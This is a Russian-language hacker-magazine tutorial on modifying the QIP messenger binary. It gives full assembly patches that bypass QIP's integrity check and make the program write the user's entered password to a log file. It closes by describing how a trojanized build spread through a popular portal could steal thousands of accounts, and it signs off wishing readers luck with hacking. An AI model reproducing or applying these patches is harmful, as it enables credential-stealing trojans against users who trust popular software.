"Топовые" программные продукты, распространяемые на бесплатной основе,
зачастую пользуются такой популярностью, что пользователи доверяют их авторам
всецело, совершенно забывая о собственной безопасности. Чтобы разрушить весьма
распространенный миф о том, что "популярно - значит надежно", мы займемся
исследованием раскрученного на территории СНГ интернет-пейджера QIP.
Пробиваем "непробиваемую" броню
В одном из выпусков рубрики "Easyhack" я рассказывал, как модифицировать QIP
так, чтобы он выдавал введенный пароль при помощи использования MessageBoxA.
Естественно, я не стал раскрывать все карты сразу и описывать обход защитных
механизмов – исключительно для того, чтобы разработчики залатали дыры, а хакеры
не использовали информацию в корыстных целях, для создания "нового релиза" QIP с
функцией воровства аккаунтов.
Прошло достаточно времени, и я решил углубиться в увлекательную
исследовательскую работу. Вместе с тобой мы попробуем пропатчить qip.exe таким
образом, чтобы он записывал введенные пользователем пароли в файл.
Все действия будем выполнять при помощи, я думаю, хорошо уже известного тебе
отладчика OllyDbg. Итак, вооружаемся отладчиком, релизом QIP и погружаемся в
работу.
Открываем файл под отладчиком. Если ты помнишь, я уже исследовал QIP и
выяснил, что существует некоторая защита от модификации исполняемого файла.
Продемонстрировать наличие некоторой функции, проверяющей целостность файла,
довольно легко: замени какую - либо инструкцию в середине кода программы на nop
и попробуй запустить программу. Вместо привычного окна авторизации появится
сообщение о том, что файл поврежден. Попробуем излечить нашего "пациента" от
этой "болезни" :).
Прежде всего, чтобы интернет-пейджер "принял" добавляемый нами в PE-файл код
(а мы его, безусловно, добавим) в качестве своего собственного, необходимо
отключить защитные механизмы. После недолгой трассировки кода измененного файла
я выяснил, "где собака зарыта": по адресу 068F4BA располагается процедура
проверки целостности PE-файла. Она портит нам настроение, поэтому рекомендую ее
исследовать. Пошаговое выполнение программы доводит нас до любопытного места:
0048023F . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00480242 . 807D FB 00 CMP BYTE PTR SS:[EBP-5],0
00480246 74 0F JE SHORT
qip_modi.00480257
00480248 E8 B740F8FF CALL qip_modi.00404304
Мы не знаем, что именно проверяет доблестный интернет-пейджер внутри
вызываемой функции, да это для нас и не столь важно. Ставим точку останова на
00480246 и до умопомрачения жмем на <shift+F9>. Программа запустится и выдаст
безрадостное окошко: файл поврежден.
Методом "научного тыка" я выяснил, что если четыре раза нажать на <shift+F9>
во время прерывания на точке останова, а перед пятым нажатием – занопить вызов "CALL
00404304", программа запустится (при условии, что после пятого прохода мы снова
восстановим вызов при помощи команды контекстного меню "Undo Selection"). В
отладчике все просто – заменяем вызов на nop после четырех нажатий на
<shift+F9>. Затем снова жмем <shift+F9>, щелкаем правой кнопкой по вызову,
выбираем "Undo Selection", убираем точку останова и запускаем программу на
исполнение.
Но как пропатчить код, чтобы он "знал", когда защитная процедура вызывается в
четвертый раз? Писать огромные проверки со счетчиками запуска - сложно и долго.
Выход только один, и он достаточно очевиден. Скорее всего, содержимое
регистров процессора во время каждого из вызовов – уникально. Это значит, мы
можем проверять какой-либо регистр на соответствие некоторому значению
непосредственно перед вызовом защитной функции и, если значения совпадают,
пускать защиту лесом!
Как удалось выяснить, в моем случае содержимое регистра EBX (я взял его, что
называется, "от балды"; ты можешь проверять любой другой регистр) перед пятым
вызовом защитной функции равно 0064ED7C.
Перед тем, как писать код, обходящий защиту, определимся с его
местоположением. Будем пихать наш "жучок", начиная с адреса 0068F857. Вызов
защитной функции, располагающийся по адресу 00480248, заменим на безусловный
переход к нашему коду.
00480248 jmp 0068f857
Кстати, заметь, что следующая инструкция располагается по адресу 0048024D –
этот факт нам еще пригодится. Вот как будет выглядеть наш код:
0068F857 CMP EBX,0064ED7C; сравниваем содержимое ebx со значением,
которое должно содержаться в нем перед пятым вызовом защитной функции
0068F85D JNZ 0068F864; если содержимое регистра не равно 0064ED7C, выполняем
переход...
0068F85F JMP 0048024D; ...иначе - не выполняем функцию (передаем управление
qip.exe)
0068F864 PUSH 0048024D; кладем в стек адрес возврата из функции...
0068F869 JMP 00404304; ...и выполняем эту функцию
Простой код обходит мудреную защиту, и теперь мы можем беспрепятственно
творить все, что захотим! Все подводные камни устранены, а широкий путь для
творческих походов расчищен: никто и ничто не мешает нам изменять "внутренности"
интернет-пейджера.
Лирическое отступление
Если ты еще не забыл, наша задача - написать код, который будет сохранять
введенный пользователем пароль в файл. Для этого необходимо владеть информацией,
как минимум, о двух API-функциях: создающей файл и записывающей в него
информацию. Порыскав в MSDN, находим необходимую информацию. Для создания файла
будем использовать функцию CreateFileW. Она принимает следующие параметры
(расположу их в обратном порядке – в том, в котором мы будем помещать их в
стек):
hTemplateFile: файл-шаблон, атрибуты которого будут использоваться для
открытия
Attributes - атрибуты и флаги для открытия файла
Mode; режим открытия файла
pSecurity; атрибуты безопасности
ShareMode; режим совместного доступа
Access; тип доступа к файлу
FileName; имя файла
Некоторые параметры можно обнулить (об этом мы поговорим позже). Для записи в
файл воспользуемся функцией WriteFile. Вот ее прототип:
BOOL WINAPI WriteFile(
__in HANDLE hFile,
__in LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
Параметры будут следующими:
hFile – дескриптор файла
Buffer – буфер, из которого будут записаны данные
nNumberOfBytesToRead – количество записываемых данных
lpNumberOfBytesRead – количество фактически записанных данных
lpOverlapped – указатель на структуру типа OVERLAPPED (обнуляем)
Условимся, что наш код будет располагаться, начиная с адреса 0068F86E. Теперь
необходимо сделать небольшое лирическое отступление. Как было выяснено в
результате долгих исследований (если хочешь знать, каких конкретно, почитай
колонку EASYHACK за ноябрь 2008 года), после вызова следующего кода, который
выполняется при нажатии на кнопку "Подключиться", в стеке (по адресу [ebp-8])
находится пароль:
00649A01 CALL qip.004678B4
00649A06 CMP DWORD PTR SS:[EBP-8],0
00649A0A JE SHORT 0649A2F
Как видишь, код, расположенный после CALL-а, проверяет, пусто ли поле для
ввода пароля (пара инструкций – "cmp" и "je"). Нам эта проверка не нужна, так
что на помойку ее – и заменим на переход к нашему коду:
00649A01 CALL qip_modi.004678B4
00649A06 JMP 0068F86E
00649A0B NOP
Три простых шага к краже пароля
Внес изменения? Едем дальше. Перейдем к адресу 0068F86E и напишем наш код.
1. Передаем параметры для CreateFileW в стек и вызываем эту функцию.
Вызванная API возвратит в EAX хэндл открытого файла.
0068F86E > 6A 00 PUSH 0 ; /hTemplateFile
= NULL
0068F870 . 68 80000000 PUSH 80 ; |Attributes = NORMAL
0068F875 . 6A 04 PUSH 4 ; |Mode =
OPEN_ALWAYS
0068F877 . 6A 00 PUSH 0 ; |pSecurity =
NULL
0068F879 . 6A 03 PUSH 3 ; |ShareMode =
FILE_SHARE_READ|FILE_SHARE_WRITE
0068F87B . 68 000000C0 PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
0068F880 . 68 A7F86800 PUSH qip_modi.0068F8A7 ; |FileName = "log.txt"
0068F885 . E8 D60E187C CALL kernel32.CreateFileW ; \CreateFileW
2. Положим в стек содержимое регистра EAX в качестве единственного параметра
для функции закрытия файла CloseHandle, которую вызовем впоследствии.
0068F88A . 50 PUSH EAX ; /hObject
3. Передадим в стек параметры для функции WriteFile и вызовем ее. К
сожалению, есть один нюанс, который не позволит нам использовать стек в качестве
буфера для этой API-функции: ее вызов затирает часть необходимых данных,
хранящихся там. Поэтому роль буфера будет играть часть секции кода, начиная с
адреса 0068F8EB. Но так как секция кода защищена от записи, придется вызвать
функцию VirtualProtect с параметром NewProtect = PAGE_EXECUTE_READWRITE. Вызов
VirtualProtect с передачей параметров разместим по адресу 0068F8B7
(предварительно сохранив регистры при помощи PUSHAD). После чего при помощи
набора инструкций MOV скопируем пароль, расположенный в стеке, в наш буфер - по
адресу 0068F8EB. Все вместе это выглядит так:
; передаем параметры для WriteFile и вызываем ее:
0068F88B PUSH 0 ; |/pOverlapped = NULL
0068F88D PUSH EBP ; ||pBytesWritten
0068F88E PUSH 10 ; ||nBytesToWrite = 10 (16.)
0068F890 PUSH qip_modi.0068F8EB; ||Buffer = qip_modi.0068F8EB
0068F895 PUSH EAX ; ||hFile
0068F896 CALL kernel32.WriteFile ; |\WriteFile
; вызываем CloseHandle для закрытия файла, хэндл файла мы передали выше при
; помощи инструкции "PUSH EAX", расположенной по адресу 0068F88A:
0068F89B CALL CloseHandle
; Восстанавливаем регистры, которые сохраним до вызова VirtualProtect чуть ниже:
0068F8A0 POPAD
; Переходим к коду qip.exe
0068F8A1 JMP qip_modi.00649A0B
; имя файла, которое использует функция CreateFileW:
0068F8A6 NOP
0068F8A7 UNICODE "log.txt",0
; сохраним регистры в стек:
0068F8B7 PUSHAD
; передадим необходимые параметры функции VirtualProtect и вызовем ее:
0068F8B8 PUSH 32F7D0 ; /pOldProtect = 0032F7D0
0068F8BD PUSH 40 ; |NewProtect = PAGE_EXECUTE_READWRITE
0068F8BF PUSH 0FF ; |Size = FF (255.)
0068F8C4 PUSH qip_modi.0068F8EB ; |Address = qip_modi.0068F8DD
0068F8C9 CALL kernel32.VirtualProtect ; \VirtualProtect
; В два подхода переместим восьмибайтовый пароль в новый буфер, начинающийся с
адреса 0068F8EB:
; первый подход - забираем 4 байта...:
0068F8CE MOV ECX,DWORD PTR DS:[EBP-8]
0068F8D2 MOV EDX,DWORD PTR DS:[ECX]
0068F8D4 MOV ECX,qip_modi.0068F8EB
0068F8D9 MOV DWORD PTR DS:[ECX],EDX
;...и второй - забираем оставшиеся 4 байта:
0068F8DB MOV ECX,DWORD PTR DS:[EBP-8]
0068F8DF MOV EDX,DWORD PTR DS:[ECX+4]
0068F8E2 MOV ECX,qip_modi.0068F8EF
0068F8E7 MOV DWORD PTR DS:[ECX],EDX
; передаем управление чуть выше - в начало написанного нами кода, который
создаст и сохранит лог-файл:
0068F8E9 JMP SHORT qip_modi.0068F86E
Ситуация немного изменилась. Раньше мы планировали передавать управление на
наш код следующим образом:
00649A06 JMP 0068F86E
Теперь это невозможно, так как нам пришлось использовать дополнительный код в
виде вызова VirtualProtect, который должен непременно выполняться раньше
остального кода. Так что переходи к адресу 0068F8E9 и меняй расположенный там
переход на:
00649A06 JMP 0068F8B7
Все готово! Резюмируем все, что было написано выше. Внедренные нами
инструкции создают файл в директории программы и при помощи вызова
VirtualProtect разрешают запись в секцию кода, часть которой используется в
качестве буфера. А затем - вызывают функцию WriteFile, которая записывает в
созданный файл полученный пароль, введенный пользователем. Как видишь, код не
так сложен. Тем не менее, защитные механизмы отключены, и пароль записан в файл.
Разработчики, будьте внимательны!
Скажу несколько вещей, не особенно приятных для разработчика
интернет-пейджера, но необходимых. Во-первых, механизмы защиты данных учетных
записей, находящихся в памяти, нуждаются в доработке. Во-вторых, механизмы
контроля целостности файла также нуждаются в дополнительном усовершенствовании.
Что важно, мы рассмотрели самый тривиальный способ модификации. Между тем, нужно
дописать лишь несколько десятков строк кода, чтобы получить версию QIP, которая
будет открывать интернет-соединение и отправлять данные учетных записей по Сети.
Только представь ситуацию: раскрученный интернет-портал, на который залита
"новая" версия QIP, может быть, содержащая новый пакет смайлов и несколько
"модифицированный" код выполнения авторизации. Как следствие - тысячи (возможно,
десятки тысяч) украденных аккаунтов. Напоследок - скажу, что многие из
популярных программных продуктов имеют не менее шокирующие уязвимости. Посему мы
еще не раз встретимся на страницах журнала и распотрошим не один десяток самых
скачиваемых программ. Удачи во взломах!
|